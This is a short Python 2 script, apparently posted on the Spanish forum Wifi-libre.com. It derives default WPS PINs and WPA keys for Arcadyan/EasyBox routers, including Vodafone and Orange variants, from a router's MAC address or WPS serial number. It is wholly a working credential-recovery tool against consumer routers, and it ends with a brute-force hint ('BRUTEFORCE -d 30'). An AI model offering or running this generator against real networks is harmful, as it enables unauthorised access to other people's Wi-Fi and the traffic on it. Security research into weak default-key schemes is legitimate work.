Foro Wifi-libre.com

def wps_checksum(x):
	accum = 0
	t = x
	while (t):
		accum += 3 * (t % 10)
		t /= 10
		accum += t % 10
		t /= 10
	return (10 - accum % 10) % 10

# all pingens return a tuple of 3 lists:
# list 1) possible WPS pins
# list 2) possible WPA keys
# list 3) additional interesting info, like AP rate limit
def pingen_arcadyan(wps, dist=0, use_serial=False, wpa_variant=1):
	mac = wps['bssid']

	rawmac = mac.replace(':', '')
	tmp = int(rawmac, 16) + dist
	rawmac = "%012x" % tmp

	if not use_serial:

		C1 = "%.5d" % int(rawmac[-4:], 16)

		S6  = int(C1[0])
		S7  = int(C1[1])
		S8  = int(C1[2])
		S9  = int(C1[3])
		S10 = int(C1[4])

	else:
		C1 = wps['wps_serial']

		S10 = int(C1[-1:][0])
		S9  = int(C1[-2:][0])
		S8  = int(C1[-3:][0])
		S7  = int(C1[-4:][0])
		S6  = int(C1[-5:][0])


	M7  = int(rawmac[6], 16)
	M8  = int(rawmac[7], 16)
	M9  = int(rawmac[8], 16)
	M10 = int(rawmac[9], 16)
	M11 = int(rawmac[10], 16)
	M12 = int(rawmac[11], 16)

	K1 = (S7 + S8 + M11 + M12) & 0xf
	K2 = (M9 + M10 + S9 + S10) & 0xf

	X1 = K1 ^ S10
	X2 = K1 ^ S9
	X3 = K1 ^ S8
	Y1 = K2 ^ M10
	Y2 = K2 ^ M11
	Y3 = K2 ^ M12
	Z1 = M11 ^ S10
	Z2 = M12 ^ S9
	Z3 = K1 ^ K2

	# 1. original easybox wpa key
	wpakeys = []
	if wpa_variant == 1:
		wpakeys.append("%X%X%X%X%X%X%X%X%X" % (X1, Y1, Z1, X2, Y2, Z2, X3, Y3, Z3))
	elif wpa_variant == 2:
		wpakeys.append("%X%X%X%X%X%X%X%X%X%X%X%X" % (X1, Y1, Z1, S6, X2, Y2, Z2, K2, X3, Y3, Z3, K1))
	else:
		assert(False) #unknown variant

	if wpa_variant == 1:
		# 2. vodafone apparently additionally exchanges all 0s with 1s
		wpakey2 = wpakeys[0].replace('0', '1')
		if wpakeys[0] != wpakey2:
			wpakeys.append(wpakey2)

	pin = int("0x%1x%1x%1x%1x%1x%1x%1x"%(X1, X2, Y1, Y2, Z1, Z2, X3), 16) % 10000000
	pin = "%.7d%d" %(pin, wps_checksum(pin))
	return [pin], wpakeys, []

def pingen_arcadyan_orange(wps):
	a,b,c = pingen_arcadyan(wps, dist=-2, use_serial=True, wpa_variant=2)
	c = ['BRUTEFORCE -d 30', 'BUILD WPA KEY']
	return a,b,c


wps = {'wps_serial':'1234567890', 'bssid':'00:11:22:33:44:55'}
print pingen_arcadyan_orange(wps)